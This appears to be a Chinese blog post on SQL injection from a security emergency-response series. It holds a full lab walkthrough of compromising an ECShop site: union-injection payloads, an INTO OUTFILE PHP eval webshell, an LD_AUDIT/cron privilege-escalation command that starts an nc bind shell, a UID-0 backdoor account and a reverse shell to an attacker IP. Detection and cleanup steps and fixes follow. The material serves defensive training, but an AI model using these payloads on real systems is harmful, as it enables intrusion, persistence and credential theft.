【愚公系列】2024年03月 《网络安全应急管理与技术实践》 012-网络安全应急技术与实践(Web层-SQL注入)
🏆 作者简介,愚公搬代码
🏆《头衔》:华为云特约编辑,华为云云享专家,华为开发者专家,华为产品云测专家,CSDN博客专家,CSDN商业化专家,阿里云专家博主,阿里云签约作者,腾讯云优秀博主,腾讯云内容共创官,掘金优秀博主,51CTO博客专家等。
🏆《近期荣誉》:2022年度博客之星TOP2,2023年度博客之星TOP2,2022年华为云十佳博主,2023年华为云十佳博主等。
🏆《博客内容》:.NET、Java、Python、Go、Node、前端、IOS、Android、鸿蒙、Linux、物联网、网络安全、大数据、人工智能、U3D游戏、小程序等相关领域知识。
🏆🎉欢迎 👍点赞✍评论⭐收藏
🚀前言
Web层攻击分析与应急响应演练是指对Web应用程序进行攻击分析,发现潜在的漏洞和安全威胁,并在发生安全事件时能够迅速做出应急响应措施的过程。
进行Web层攻击分析是为了了解Web应用程序存在的弱点和漏洞,从而提前对其进行修复和加固。攻击分析可以包括对Web应用程序进行安全扫描、漏洞评估和渗透测试等活动,通过模拟真实攻击场景,发现可能被黑客利用的漏洞,如SQL注入、跨站点脚本攻击(XSS)、跨站点请求伪造(CSRF)等。攻击分析的目的是为了及早发现和修复潜在的安全问题,确保Web应用程序的安全性。
进行应急响应演练是为了在发生安全事件时能够迅速做出应对措施,有效控制和处理安全事件。应急响应演练可以模拟真实的安全事件,例如模拟黑客入侵、数据泄露、拒绝服务攻击等,并根据实际情况进行应急响应的演练。演练包括建立应急响应团队、制定应急响应计划、建立安全事件监测和报告机制等。
在Web层攻击分析与应急响应演练过程中,还需要进行日志分析、安全事件监测和响应、修复漏洞和加强安全措施等活动。此外,还需要对安全事件进行分类和分级,根据不同的情况采取不同的应急措施,如立即断网、隔离受影响的系统、备份关键数据等。
🚀一、SOL注入攻击分析与应急演练
🔎1.SOL注入种类
SQL注入攻击是通过将恶意的SQL代码注入到Web应用程序的输入字段中,以绕过应用程序的输入验证并直接访问和执行数据库的攻击方式。攻击者可以利用这种漏洞来绕过身份验证、获取敏感数据或对数据库进行恶意操作。
SQL注入攻击的原理是利用应用程序没有正确过滤或转义用户输入的数据,导致恶意的SQL代码被嵌入到最终执行的SQL查询中。一旦成功注入恶意代码,攻击者可以执行任意的SQL查询,从而获取、修改或删除数据库中的数据。
为了防止SQL注入攻击,开发人员应该采取以下措施:
方法 | 描述 |
---|---|
使用参数化查询或预处理语句 | 最有效的防止SQL注入攻击的方式,通过将用户输入作为查询的参数而不是直接嵌入到SQL查询中,可以防止注入攻击。 |
输入验证和过滤 | 对用户输入进行严格验证和过滤,只接受符合预期格式的输入数据,如数字、字母等,并对特殊字符进行转义处理。 |
最小化数据库的权限 | 执行查询时数据库用户应具有最小权限,避免使用有敏感权限的用户来执行查询,即使发生注入攻击也可以限制攻击者的操作。 |
错误处理和日志记录 | 应用程序应适当处理数据库错误,并记录相关错误信息,有助于发现和排查潜在的注入攻击。 |
🦋1.1 报错注入
SQL报错注入是一种攻击方式,通过利用应用程序对用户输入的不当处理,导致执行的SQL语句出现语法错误,从而使数据库返回详细的错误信息,攻击者通过这些错误信息来获取敏感数据或进一步攻击。
判定是否存在SQL报错注入可以通过观察应用程序返回的错误消息来判断。如果错误消息包含了数据库相关的信息(如列名、表名、SQL语句等),那么很可能存在SQL报错注入漏洞。
举个案例来说明:
假设有一个登录页面的示例代码如下:
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "SELECT * FROM users WHERE username = '" . $username . "' AND password = '" . $password . "'";
$result = mysqli_query($conn, $sql);
if (!$result) {
die('错误消息:' . mysqli_error($conn));
}
$row = mysqli_fetch_assoc($result);
if ($row) {
echo '登录成功';
} else {
echo '用户名或密码错误';
}
在这个例子中,用户输入的 username
和 password
直接拼接到SQL查询语句中,存在SQL注入的风险。
假设攻击者输入的 username
是 ' OR '1'='1
,那么构造的SQL查询语句就会变成:
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = ''
这条SQL语句会返回所有用户的记录,因为 '1'='1'
始终为真。但是,由于注入的语句导致了SQL语法的错误,应用程序会返回一个错误消息。如果错误消息显示了详细的数据库错误信息,如列名、表名或数据库版本等,那么这就是一个SQL报错注入漏洞。
攻击者可以通过观察错误消息来了解数据库结构和敏感数据的信息,从而进一步发起攻击。
为了防止SQL报错注入攻击,开发人员应该使用参数化查询或预处理语句,通过将用户输入作为查询的参数来避免直接将用户输入拼接到SQL查询语句中。这样可以防止恶意输入破坏SQL语句的结构,并减少错误消息的泄露风险。
🦋1.2 联合查询注入
SQL联合查询注入(Union-Based SQL Injection)是一种常见的SQL注入攻击方法,它利用了应用程序对用户输入的不充分验证和过滤,通过恶意构造的注入语句来获取、修改或删除数据库中的数据。
在联合查询注入攻击中,攻击者通过在参数中输入恶意的SQL代码,使应用程序错误地将攻击者提供的恶意代码作为合法的查询语句的一部分来执行。当应用程序通过SQL语句将用户输入的值与数据库中的数据进行比对或连接时,攻击者可以通过注入的代码来修改原来的查询逻辑,从而获取额外的信息。
判定是否存在联合查询注入可以通过以下方法进行:
-
输入验证:检查应用程序是否对用户输入进行了充分的验证和过滤,确保只接受合法的输入。
-
错误消息:观察应用程序返回的错误消息,如果返回的错误消息中含有SQL相关的语句或报错信息,可能存在注入漏洞。
-
盲注测试:使用特定的payload来测试应用程序的反应,例如使用单引号(’)来检查是否会报错。
下面是一个简单的案例说明:
假设有一个登陆页面,用户需要输入用户名和密码进行登陆。应用程序的后台代码会将用户输入的用户名和密码直接拼接到SQL查询语句中进行查询,如下所示:
SELECT * FROM users WHERE username = '$username' AND password = '$password'
攻击者可以通过在用户名字段中输入恶意的代码来进行注入攻击,例如输入' OR 1=1 UNION SELECT column_name FROM information_schema.columns --
。这个注入语句的目的是通过联合查询来获取数据库中的列名信息。
原始的查询语句会被修改为:
SELECT * FROM users WHERE username = '' OR 1=1 UNION SELECT column_name FROM information_schema.columns -- ' AND password = '$password'
这个查询会先执行SELECT * FROM users WHERE username = '' OR 1=1
,由于1=1永远为真,所以会返回所有用户的信息。然后再执行UNION SELECT column_name FROM information_schema.columns
,从信息模式中获取列名信息。攻击者可以通过不断尝试不同的联合查询语句来逐渐获取更多的敏感信息。
🦋1.3 布尔型盲注
SQL的布尔型盲注(Boolean-based blind SQL injection)是一种基于布尔逻辑的SQL注入技术。在布尔型盲注中,攻击者通过构造特定的SQL语句,利用网站应用程序对数据库查询结果的真假进行判断,从而推断出数据库中的信息。
判断是否存在布尔型盲注可以通过以下几种方式:
-
响应信息:通过观察页面返回的响应信息,如错误信息、成功信息、或页面内容的变化,来判断是否存在布尔型盲注。如果在注入点处出现错误信息或页面内容的变化,且注入点处的数据可以影响响应信息的内容,那么很可能存在布尔型盲注。
-
注入点位:在确定注入点时,可以通过手工测试或使用工具扫描程序来发现是否存在布尔型盲注。如果在注入点处可以插入布尔逻辑运算符(如AND、OR),并且可以通过观察响应信息来推断查询结果的真假,那么就可能存在布尔型盲注。
-
延时注入:利用延时函数(如MySQL中的sleep()函数)来延时注入点处的请求,通过观察页面加载时间来判断注入点处的数据是否影响了查询结果。如果在注入点处插入了延时函数后,页面加载时间明显变长或出现延迟,那么很可能存在布尔型盲注。
以下是一个布尔型盲注的案例说明:
假设有一个登录页面,通过输入用户名和密码进行登录验证。攻击者在用户名输入框中尝试进行注入攻击,例如在用户名输入框中输入:
' OR '1'='1
在正常情况下,上述注入语句会被拼接到SQL查询语句中,导致查询条件永远为真,从而绕过登录验证。
攻击者可以通过观察登录页面的响应信息来推断查询结果的真假。如果在注入点处出现了错误信息或登录成功的提示信息,那么说明注入点处的数据可以影响查询结果的真假,即存在布尔型盲注。
攻击者可以进一步利用布尔逻辑运算符(如AND、OR)和比较运算符(如=、<、>)来构造特定的注入语句,通过观察页面返回的响应信息,来逐步推断数据库中的信息,例如用户名、密码的长度、字符等。
🦋1.4 时间型盲注
时间型盲注是指攻击者利用SQL注入漏洞来执行特定的时间函数和语句,以判断数据库中的数据是否符合预期条件。通过对响应时间的判断,攻击者可以逐步猜测出数据库中的数据。
判定是否存在时间型盲注可以通过以下方式:
- 页面响应时间:正常情况下,页面的响应时间是比较稳定的,如果发现页面响应时间突然变长,可能存在时间型盲注。
- 错误信息:当攻击者进行盲注测试时,如果系统返回的错误信息与平时不同,可能存在时间型盲注。
- 追踪日志:追踪数据库日志,查看是否有异常的查询和响应时间。
以下是一个时间型盲注的案例说明:
假设有一个搜索功能的网站,用户可以在搜索框中输入关键词进行搜索。搜索关键词会传递到后台的SQL查询中,但是开发者没有对输入进行充分过滤和验证。
攻击者可以在搜索框中输入以下恶意字符串进行时间型盲注测试:
' AND SLEEP(5)--
这个字符串会修改后台的SQL查询,使其等待5秒钟,然后返回查询结果。
如果搜索页面的响应时间明显变长,那么就可以判断存在时间型盲注漏洞。接下来,攻击者可以通过不断尝试不同的时间函数和语句,来确认数据库中的信息。比如,攻击者可以这样进行测试:
' AND (SELECT COUNT(*) FROM users WHERE name LIKE 'a%') > 0 AND SLEEP(5)--
攻击者可以通过不断调整和尝试,来利用时间型盲注漏洞逐渐获取目标数据库中的信息。
🦋1.5 堆叠查询注入
SQL堆叠查询注入是一种针对SQL数据库的注入攻击方法,它利用了数据库执行多个SQL查询的能力,将恶意代码注入到SQL查询语句中,从而绕过应用程序的安全防护机制并获取未授权的数据或执行未经授权的操作。
判定是否存在SQL堆叠查询注入可以通过以下方法进行:
- 输入验证:应用程序应该对用户输入进行有效的验证和过滤,防止恶意的SQL查询语句被注入。
- 监控异常:监控应用程序的日志和错误报告,特别关注与SQL查询相关的异常或错误信息。
- 测试注入点:通过手动或自动化的方式,尝试在输入字段中注入SQL代码,并观察是否能够改变查询结果或触发异常。
以下是一个案例说明:
假设有一个应用程序的登录功能,用户需要输入用户名和密码进行验证。应用程序使用以下SQL查询语句进行验证:
SELECT * FROM users WHERE username = '输入的用户名' AND password = '输入的密码';
攻击者可以通过在用户名字段中注入恶意的SQL代码来实现堆叠查询注入。
例如,在输入用户名字段时,攻击者输入以下内容:
' OR '1'='1'; DROP TABLE users; --
在这个例子中,注入的代码是 ' OR '1'='1'; DROP TABLE users; --
,它的作用是将查询条件 OR '1'='1'
视为真(永远为真),并执行DROP TABLE语句删除users表。
具体执行的SQL查询语句将变成:
SELECT * FROM users WHERE username = '' OR '1'='1'; DROP TABLE users; --' AND password = '输入的密码';
通过这种方式,攻击者成功绕过了应用程序的安全防护机制,并执行了未经授权的操作,导致users表被删除。
要防止堆叠查询注入攻击,开发者应该使用参数化查询或预编译语句,以及对输入进行有效过滤和验证。这样可以确保用户输入不会被错误解释为SQL代码,从而有效防止注入攻击。
🦋1.6 小结
SQL注入的第一个目标通常是获取数据库结构、名称等信息,通过手工测试 SQL 注入的方法可以说是一项长期和艰苦的猜测过程,而且效率极低,也不能保证经过这么多努力之后就一定能够查看或者提取数据。当然,这是我们所希望的,攻击难度和效率越低,我们的系统就相对越安全。但是,现在的攻击者利用SOL注入的这些原理,开发出了查找SQL 注入漏洞并进行攻击的自动化黑客工具,使得攻击效率大大提升,导致业务系统面临的安全威胁也越来越大,安全人员也越来越忙。因此,在预防SQL注入攻击时,安全人员需要知道业务系统存在什么样的漏洞,可能受到什么样的攻击。同样的,安全人员也可以利用工具发现业务系统既存的SQL注入漏洞,提前进行加固和修补来应对 SOL 注入攻击。
🔎2.SQL注入漏洞挖掘与利用过程分析
在地址栏中输入http://www.ec.com/shop,ecshop是个人开源的商城,网址已经不能用可以自己搭建
。进入网站浏览,查找注入点,正如本节开头所述,这是一个非常艰辛的过程,但是工具可以很快地找到注入点,并实现自动化注入,本节通过手工注入的方式讲解其过程。
页面浏览器的地址栏中可以看到该页面存在传参“id=9”因此,简单的输入单引号来尝试是否存在注入点,即本节前面提到的报错注入方式。
在地址栏中输入单引号后页面返回错误信息如图所示。
所示的错误信息中,暴露了后台使用的是 MySQL 数据库,当前查询所使用的数据库名称、表名,以及当前查询数据表的字段等。这些信息为攻击者进一步的猜测提供大量的参考信息,如攻击者可以猜测数据库中表名命名规则。另外,现在很多中小企业经常要在短期内快速构建网站,采用网络上免费的网站模板可以实现这一目的,但是可以预见的是,这些网站代码是公开的,攻击者也可以拿来好好地研究,使用这种模板的网站或系统很容易被攻陷。所以说,源代码的保护不仅是为了知识产权,也是为了网站安全。接下来,为了获得 MySQL用户,通常会使用最基础的注入方法–联合查询(union)注入,构造 union 查询语句如下:
http://www.ec.com/shop/goods.php?id=9' union select 1,2,3,4,5,6,7,8,9,'10
根据union 查询的基本语法,前后两个查询语句所查询的字段数量必须相等,从上面的报错信息可以知道从目标数据表查询出的字段个数为10个,所以这里构造 10个字段的 union 查询。通过浏览页面展示内容发现,在图8-4框中所示位置显示异常,商品名称变成了’2’,因此得知上面 union 语句查询的第二个字段可以通过页面显示给用户。
已知道所使用的数据库是 MySQL 数据库,可根据 MySQL 数据库的特点面过select table_name from information_schema.tables where table_schema='shop'
语句查询 shop 数据库中所有表名。同理,通过select column_name from information_schema.columns where table_schema='shop' and table_name='指定表名'
语句可以查询指定数据库中指定表的字段名。
综合分析数据库管理员的账号和口令也是保存在数据库的某个表中的,本实验中存储这些信息的表名为ecs_admin_user,存储口令的字段为password,管理员的账号使用了默认的、也是最常见的admin。所以,构造查密码的 union 查询语句如下。
http://www.ec.com/shop/goods.php?id=9' union select 1,password,3,4,5,6.7.8,9,10 from ecs_admin_user where user_name='admin
从页面显示信息可以判断该口令应该是进行了加密保存。加密口令的算法有很多种,相对安全的是对口令进行加盐加密处理,“加盐”一词很形象,即指在口令加密过程中加上随机数,防止口令被暴力破解。口令加密算法中很不安全的一种就是MD5哈希算法,然而不幸的是,有很多开发人员认为这是在数据库中保护密码的有效方式。本实验中网站的管理员后台密码在数据库中就是以MDS值形式存在的。
商品名只显示了7位,这是因为开发人员在设计页面时,通常会对显示内容的输出长度做限制,本页面上此处商品名的显示长度限定了只显示前7位。因此,为了获取完整的口令密文,可以利用substring函数对口令进行分段显示,如 substring(password,8,7)表示对 password 字段从第8位开始向后取7位。最后,将所有分段显示的口令依次拼接,即可得到完整的口令密文。实现该过程的 SOL语句如下。
http://www.ec.com/shop/goods.php?id=9' union select 1.substring(password, 8,7),3,4,5,6,7,8,9,10 from ecs_admin_user where user_name='admin
http://www.ec.com/shop/goods.php?id=9' union select 1,substring(password, 15,7),3,4,5,6,7,8,9,10 from ecs_admin_user where user_name='admin
http://www.ec.com/shop/goods.php?id=9' union select 1,substring(password, 22,7),3,4,5,6,7,8,9,10 from ecs_admin_user where user_name='admin
http://www.ec.com/shop/goods.php?id=9' union select 1,substring(password, 29,7),3.4.5,6,7,8,9,10 from ecs_admin_user where user_name='admin
通过以上查询,最后获得的管理员口令MD5值为7fef6171469e80d32c0559f88b377245
。通过黑客工具暴力破解即可得到该MD5值的明文为 admin888。如此,攻击者便窃取到了网站后台的管理员账号和口令。
🔎3.利用注入漏洞植入木马过程分析
知道了管理员账号和口令之后,下一步就是猜测、查找网站后台入口地址,人工猜测网站后台通常会考虑一些常见的网站后台,如、name/login.asp、name/index.asp、admin/login.asp、name/admin/等。在网站开发过程中,如果没有特殊的规范,后台入口地址的设置就看程序员的喜好。当然,后台地址的查找也可以通过工具实现。本网站的后台地址为 http://www.ec.com/shop/admin/。输入窃取的用户名 admin 和口令 admin888后,即可进入管理后台。
网站后台在设计上存在很多安全缺陷,如用户角色和权限管理是很明显的一个问题,网站管理员可以进行数据库管理,执行任意SQL语句。这对攻击者而言无疑是提供了大大的便利。攻击者可执行“select user();”语句,从而获得该数据库的管理员用户信息为root@localhost,这说明数据库连接的用户是root
root用户是Linux系统的超级用户,权限很大,持有root用户权限的攻击者可以通过 MySQL的内置函数load fle读写服务器本地文件。此时,按照通常的渗透思路,攻击者的下一个目标往往是上传木马,从而长期控制这台服务器。所以,为找到木马的上传路径,可以先查找目标网站的本地发布路径,这个路径记录在 Apache 的配置文件中,如果开发人员没有特别更改的话,该文件的默认路径和名称为/etc/apache2/sites-available/default
执行SQL语句如下所示。
select load_file('/etc/apache2/sites-available/default')
目标Web的本地路径为/var/www/
通过执行如下SQL语句将PHP一句话木马文件传到服务器上。select '<?php eval($_POST[c])?>' into outfile 'var/www/shop/data/tinydoor.php'
outfile 也是MySOL的内置函数,可以将文本输入到指定文件。所以,如上SOL语句执行的结果是在/var/www/shop/data/
路径下新建了一个 tinydoor.php文件,并写入了一句话木马<?php eval($_POST[c])?>
。这个一句话木马非常神奇,神奇之处主要在于eval()
函数,该函数会把字符串当作PHP代码来执行,也就是说上面的一句话木马会把POST请求(密码为c)的字符串当作PHP代码运行
了验证一句话木马是否上传成功,在浏览器中输入一包话木马上传的址http://www.ce.ccom/shop/data/tinydoor.php
,如果没有任何输出表示上传成功
指定之前上传的一句话木马的地址为后门地址,选择本地文件 tiquan.php 单击“提交”后显示“upfile:tiquan.php OK!”,说明tiquan.php木马文件上传完毕。(密码c是提交一句话木马的参数c)
服务器中现在除了被植入一句话木马tinydoor。php 以外,又被植入tiquan.php木马文件。利用tiquan.php,攻击者可在浏览器中执行如下提权令。
http://www.ec.com/shop/data/tiquan.php?c=echo '/bin/nc -l -p 79 -e /bin/bash' > /tmp/exploit.sh;/bin/chmod 0744 /tmp/exploit.sh;umask 0;LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping;echo -e '*/1 * * * * root/tmp/exploit.sh' > /etc/cron.d/exploit
这个命令的作用是在目标服务器上打开nc后门,nc命令在渗透领域内被称为网络中的“瑞士军刀”,经常被用来进行数据包发送、文件传送以及反弹shell。在Linux的大部分版本中都默认编译了nc,当然不同的Linux版本可能nc 不太一样,但是常用的参数基本是一致的,如参数“-l”是使用监听模式,“-p”为设置本地主机使用的通信端口,“-e prog”为程序重定向,一旦连接就执行,十分危险(这也许就是很多Linux 发行版中默认编译的nc没有-e选项的原因)。此命令行中还有一个关键操作就是权限设置命令“chmod 0744”,即设置 Linux 文件权限,“0744”中的7表示该文件的所有者有读、写、执行权限,两个“4”分别代表群组成员和其他人都有只读权限。上述命令执行的效果就是nc监听服务器的79端口并等待远程连接,而这一个动作需要目标服务器定时来启动,所以通过加入“/etc/cron.d”目录下实现增加定时任务的目的,5个*
分别表示分、时、日、月、周,用来设置该定时任务执行的时间。因此上述提权命令中的“/1***”代表最长连接时间要等待一分钟。
如上定时任务创建好以后,攻击者便可以远程使用“nc www.ec.com 79”命令连接目标机(IP为www.ec.com,PORT为79),如图所示,攻击者便成功地远程登录到该网站的服务器上。
🔎3.后门账号添加过程分析
现在攻击者已经成功地入侵服务器,接下来就要在目标服务器上添加一个属于自己的账号,以便日后对该服务器进行访问。相关命令如下。
/usr/sbin/useradd -m -s /bin/bash app1 -g root -u0; echo app1:app1|/usr/sbin/chpasswd
当执行该指令后,就在目标服务器上添加了用户名为app1、密码为app1的root 权限账号
如此一来,攻击者不用再走后门了,可以像服务器管理员一样直接利用putty 工具使用新添加的 app1 账号登录目标服务器
🔎4.反弹后门添加过程分析
攻击者已经成功入侵目标服务器,并拥有最大权限root权限。但是,攻击者是从外网向服务器发起连接请求的,作为单位的安全防范基本原则就是在防火墙上关闭不必要的端口,如果服务器上安装防火墙,那么连接79端口很可能会被拦截。很多单位觉得启用了防火墙并限制了不必要端口的访问,就安全了,但并不是这样的。下面就来看看攻击者是如何出新招的。既然从外向内发起连接请求会被拦截,那么就从内向外主动要求连接,因为单位往往没有限制从内向外的访问请求。这就是所谓的反弹后门,也叫反向连接后门,即由目标服务器主动连接攻击者的机器。在浏览器地址栏中输入如下内容添加系统反弹后门
http://www.ec.com/shop/data/tiquan.php?c=echo 'bin/nc 攻击者IP地址 9999 -e /bin/bash'>/tmp/exploit.sh;/bin/chmod,0744 /tmp/exploit.sh;umask 0;LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping;echo '*/1 * * * * root/tmp/exploit.sh'>/etc/cron.d/exploit
该命令与创建后门时的命令相似,只不过这里不是利用nc监听79端口了,而是直接连接攻击者的9999端口。添加反弹后门后,攻击者在其机器上监听自己的9999端口,输入命令“nc -l -p 9999”,然后输入任意 Linux命令就可以验证是否连接到远程服务器了
🔎5.入侵排查与应急处置
🦋5.1 检查用户查看是否存在可疑账号
要检查Linux系统上的可疑账号,可以按照以下步骤进行:
-
使用root用户或具有管理员权限的用户登录到系统上。
-
运行以下命令,列出所有用户账号:
查看记录用户账号的文件 passwd,执行命令“cat /etc/passwd”。
-
查看列出的账号列表,注意是否有任何非正常的或不熟悉的账号。特别注意账号的用户ID(UID)是否和系统中已知账号的UID相符。
passwd文件中的每行用户信息以冒号间隔,其中第三段为用户ID,检查除root 用户外是否存在其他用户的UID为0,通过执行命令“awk -F: '($3==0){print $l}‘ /etc/passwd
”发现了UID为0的账号。
-
使用以下命令,查看系统上所有的组账号:
cat /etc/group
-
检查组账号列表,注意是否有任何非正常的或不熟悉的组账号。
-
运行以下命令,查看系统中的sudoers(sudo命令的配置文件):
cat /etc/sudoers
检查sudoers文件中是否存在任何未经授权的条目或具有不明晰权限的条目。
- 使用以下命令,查看系统中的shadow文件(存储用户账号的密码哈希值):
cat /etc/shadow
特别注意是否存在未经授权的账号或密码哈希值。正常情况下,除了root用户外,其他用户的密码哈希值应该是以字符“*”或“!”开头。
- 另外,还可以通过查看用户的登录历史记录、系统日志等方式来寻找可疑活动和账号。具体的方法取决于你所使用的Linux发行版和日志配置。
以上是一些常见的检查可疑账号的方法,但请注意,如果你发现任何可疑账号或活动,最好联系系统管理员或网络安全专家进行进一步的调查和处理。
🦋5.2 清除后门账号
使用命令“userdel -rf app1
”删除后门账号
🦋5.3 检查计划任务
攻击者经常将恶意程序放到/etc/cron.d/目录下以定期执行目标任务,所以,系统运维人员应进入该目录(cd /etc/cron.d/),通过ls命令列出所有文件进行检查,发现可疑文件后删除
🦋5.4 检查Web访问日志
管理员通过“SSH SecureFile Transfer”登录目标服务器,下载/var/logapache2/目录下的 access.log 文件,通过 Web Log Suite Pro
日志分析工具进行日志分析,系统维护人员通过对比网站页面文件目录和分析结果,便可发现异常文tinydoor.php的访问日志。实际工作中,运维人员可以在系统发布前将网站所有文件进行备份,然后可以通过文件对比工具将现行网站文件目录与备份的网站文件目录进行比较,以此来排查是否存在可疑文件。
🦋5.5 webshell 检测与清理
webshell是 Web 入侵的脚本攻击工具。简单地说来,webshell 就是一个asp或php木马后门,攻击者在入侵了一个网站后,常常将这些asp或php 木马后门文件放置在网站服务器的Web目录中,与正常的网页文件混在一起。然后攻击者就可以用Web的方式,通过asp或php木马后门控制网站服务器,包括上传下载文件、查看数据库、执行任意程序命令等。本实验中的tinydoor.php,tiquan.php 文件都属于 webshell,可通过 webshell 扫描器或查杀工具进行检测和清理。
打开 webshell 扫描器,选择需要扫描的磁盘和文件类型后,单击“扫描”钮,扫描器会提示可疑文件以及特征码,扫描结果如图所示。
🔎6.SQL注入漏洞应急处置
分析本次入侵的根本原因,是因为Web网站存在SOL注入漏洞并成功地被攻击者所利用。本实验中,攻击者利用这个SOL注入漏洞可以执行任意 Sql语句,从而获得访问服务器的权限。简单地说,注入攻击的本质就是把用户输入的数据当作代码执行。在某些紧急情况下,网站不能下线,系统不能长时间中断,所以,我们需要将存在漏洞的应用程序进行快速修补,然后重返“战场”通过入侵分析,我们判断出针对该示例网站的SQL注入攻击是利用Union查询,有些开发人员在情急之下,可能会通过检测、过滤关键字的方法进行修补,即判断用户提交的参数值是否包含 union、select、and、where等SQL 关键字,如果包含这些关键字则作为恶意行为报警,不予响应。但是,往往有些开发人员采用穷举的方式单纯地对标准关键字如union、select、and、where 这些字符串进行过滤,忽略了SOL语句执行对关键字大小写不敏感的特性,这样就可能导致修补后的程序被绕过。SQL语句"http://www.ec.com/shop/goods.php?id=9’ Union seLect 1, password,3,4,5,6,7,8,9,10 frOm ecs_admin_user wHere user_name=admin"就可绕过这种过滤机制(这里将关键词union中的u大写,当select、fom 和 where 每个关键词都有一个字母大写后就可以成功绕过限制)。
因此,对于过滤关键字的修补方法,建议至少要将用户提交的字符串统一转换成小写或大写,然后再进行判断。当然,这只是临时的应对策略,如想从根本上解决和加固,建议规则如下。
(1)针对所有用户输入数据,验证数据长度、类型、格式和内容。
(2)所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入SQL语句中。当前几乎所有的数据库系统都提供了参数化SQL语句执行接口,使用此接口可以非常有效地防止SOI注入攻击。
(3)尽可能使用“白名单”方式或者规范化的输入验证方法。
(4)如果某些场景需要输入特殊字符(如""\◇&*;等),应进行转义处理或编码转换。
(5)避免网站显示 SQL 错误信息,如类型错误、字段不匹配等,防止攻击者利用这些错误信息进行数据库信息的猜测。
🚀感谢:给读者的一封信
亲爱的读者,
我在这篇文章中投入了大量的心血和时间,希望为您提供有价值的内容。这篇文章包含了深入的研究和个人经验,我相信这些信息对您非常有帮助。
如果您觉得这篇文章对您有所帮助,我诚恳地请求您考虑赞赏1元钱的支持。这个金额不会对您的财务状况造成负担,但它会对我继续创作高质量的内容产生积极的影响。
我之所以写这篇文章,是因为我热爱分享有用的知识和见解。您的支持将帮助我继续这个使命,也鼓励我花更多的时间和精力创作更多有价值的内容。
如果您愿意支持我的创作,请扫描下面二维码,您的支持将不胜感激。同时,如果您有任何反馈或建议,也欢迎与我分享。
再次感谢您的阅读和支持!
最诚挚的问候, “愚公搬代码”
- 点赞
- 收藏
- 关注作者
评论(0)